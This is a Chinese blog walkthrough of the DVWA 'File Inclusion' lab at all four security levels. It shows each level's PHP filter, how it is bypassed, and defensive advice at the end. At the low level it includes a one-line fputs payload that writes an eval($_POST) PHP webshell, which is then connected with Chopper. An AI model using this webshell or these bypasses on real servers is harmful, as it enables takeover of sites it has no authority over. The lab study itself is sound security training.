当前位置: 首页 > news >正文

File Inclusion 全级别

File Inclusion 全级别

在此之前需要打开php响应配置

在这里插入图片描述

low级别

先查看一下代码:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?> 

没有做任何的安全检查
page参数输入’/etc/passwd’,可以获取到网站目录在C:\phpstudy_pro\WWW\dvwa\vulnerabilities\fi\下
在这里插入图片描述
也可以输入phpinfo
在这里插入图片描述

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

在这里插入图片描述
可以通过fputs函数进行木马写入,写一个webshell.txt的文件

<?fputs(fopen("shell.php","w"),'<?php @eval($_POST[noc]);?>')?> 

通过菜刀进行连接
在这里插入图片描述


medium级别
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

可以看到,str_replace函数对特殊字符进行了替换,但是可以通过双写或者大小写绕过
在这里插入图片描述
在这里插入图片描述
str_replace()函数对 …/ …\进行了替换,不能通过相对路径来获取相关信息,但是可以通过绝对路径获取。


high级别
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

fnmatch() 函数根据指定的模式来匹配文件名或字符串。
可以通过file协议绕过
在这里插入图片描述


impossible级别
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

简单粗暴的白名单保护法


文件包含漏洞的防护:
1、使用 str_replace 等方法过滤掉危险字符;
2、配置 open_basedir,防止目录遍历(open_basedir 将 php 所能打开的文件限制在指定的目录 树中);
3、php 版本升级,防止%00 截断;
4、对上传的文件进行重命名,防止被读取;
5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件;
6、做好管理员权限划分,做好文件的权限管理,allow_url_include 和 allow_url_fopen 最小权限化

相关文章:

  • 微信小程序——云开发|计费方式调整大家怎么看?
  • Github 最新霸榜,号称架构师修炼之路的“葵花宝典”限时开源
  • RFSoC应用笔记 - RF数据转换器 -07- RFSoC关键配置之RF-DAC内部解析(一)
  • 【老生谈算法】matlab实现霍夫变换算法源码——霍夫变换算法
  • 赶紧进来看看!!!你一定要会做的八道经典指针笔试题!!!
  • 力扣刷题流程--记录用
  • bp神经网络优化算法对比,bp神经网络的优化算法
  • 新学期,新FLAG | 从心出发
  • 数学建模国赛B题 完整思路与代码分享 无人机遂行编队飞行中的纯方位无源定位
  • 基于C语言实现了PASCAL编译器
  • 2022高教社杯数学建模国赛C题思路代码实现
  • [acwing周赛复盘] 第 69 场周赛20220917
  • CSDN编程竞赛-第六期(上)
  • 基于 V2X 的车联网安全互信体系架构分析
  • 【图像检测】基于 AlexNet 和 SVM 实现异常螺母检测附matlab代码
  • JavaScript 如何正确处理 Unicode 编码问题!
  • 【RocksDB】TransactionDB源码分析
  • ➹使用webpack配置多页面应用(MPA)
  • CentOS 7 防火墙操作
  • es6要点
  • gf框架之分页模块(五) - 自定义分页
  • JavaScript创建对象的四种方式
  • node 版本过低
  • Selenium实战教程系列(二)---元素定位
  • vue2.0一起在懵逼的海洋里越陷越深(四)
  • vue-loader 源码解析系列之 selector
  • vue-router 实现分析
  • vue和cordova项目整合打包,并实现vue调用android的相机的demo
  • Webpack4 学习笔记 - 01:webpack的安装和简单配置
  • 从setTimeout-setInterval看JS线程
  • 简单数学运算程序(不定期更新)
  • 前端每日实战 2018 年 7 月份项目汇总(共 29 个项目)
  • 浅谈web中前端模板引擎的使用
  • 手机app有了短信验证码还有没必要有图片验证码?
  • 算法之不定期更新(一)(2018-04-12)
  • 学习笔记:对象,原型和继承(1)
  • 智能情侣枕Pillow Talk,倾听彼此的心跳
  • ​LeetCode解法汇总518. 零钱兑换 II
  • ​比特币大跌的 2 个原因
  • ###51单片机学习(2)-----如何通过C语言运用延时函数设计LED流水灯
  • (html5)在移动端input输入搜索项后 输入法下面为什么不想百度那样出现前往? 而我的出现的是换行...
  • (ZT) 理解系统底层的概念是多么重要(by趋势科技邹飞)
  • (附源码)SSM环卫人员管理平台 计算机毕设36412
  • (更新)A股上市公司华证ESG评级得分稳健性校验ESG得分年均值中位数(2009-2023年.12)
  • (每日持续更新)信息系统项目管理(第四版)(高级项目管理)考试重点整理第3章 信息系统治理(一)
  • (学习日记)2024.03.25:UCOSIII第二十二节:系统启动流程详解
  • (一)Neo4j下载安装以及初次使用
  • (已解决)vue+element-ui实现个人中心,仿照原神
  • (转)linux 命令大全
  • (转)淘淘商城系列——使用Spring来管理Redis单机版和集群版
  • ... fatal error LINK1120:1个无法解析的外部命令 的解决办法
  • .net framwork4.6操作MySQL报错Character set ‘utf8mb3‘ is not supported 解决方法
  • .Net Memory Profiler的使用举例
  • .NET关于 跳过SSL中遇到的问题
  • .net最好用的JSON类Newtonsoft.Json获取多级数据SelectToken